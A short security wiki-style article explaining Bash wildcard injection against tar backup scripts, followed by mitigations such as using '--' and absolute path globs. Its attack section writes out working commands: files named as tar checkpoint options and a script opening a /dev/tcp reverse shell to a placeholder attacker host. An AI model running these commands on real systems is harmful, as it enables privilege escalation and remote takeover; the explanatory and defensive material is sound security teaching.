Abusing Wildcard Expansion in Bash
In Bash, * is expanded by the shell, not the command. When a script runs tar cf backup.tar *, Bash replaces * with the list of filenames in the current directory before tar ever sees it. If an attacker can plant files in that directory whose names look like command-line switches, those filenames are passed as literal arguments and interpreted as options.
The attack
Classic target: a sloppy tar backup script running as root or a privileged user in a writable directory.
# Attacker plants files in a directory processed by `tar cf backup.tar *`
touch --checkpoint=1
touch --checkpoint-action=exec=sh\ shell.sh
echo 'bash -i >& /dev/tcp/$ATTACKER/$PORT 0>&1' > shell.sh
chmod +x shell.shWhen the privileged script runs tar cf backup.tar *, the expansion becomes:
tar cf backup.tar --checkpoint=1 --checkpoint-action=exec=sh\ shell.sh ...tar treats the filenames as options, executes shell.sh, and the attacker gets a reverse shell. The same pattern works against cp, mv, rsync, chown, and any tool that treats dash-prefixed positional arguments as options.
Mitigation
- Use
--to end option parsing:tar cf backup.tar -- *— the--tells the command that everything after it is a filename, not an option. - Use an absolute path glob:
tar cf backup.tar /path/to/dir/*— filenames become/path/to/dir/--checkpoint=1, which are not parsed as options. - Use
findwith-print0+xargs -0: avoids word-splitting and filename-as-option issues entirely.
Related
- bash-port-scanning — another pure-Bash technique that abuses shell features for security work
- shell-stabilization — the reverse shell you might land after a wildcard exploit
- bash-port-scanning — the TCP transport the reverse shell rides on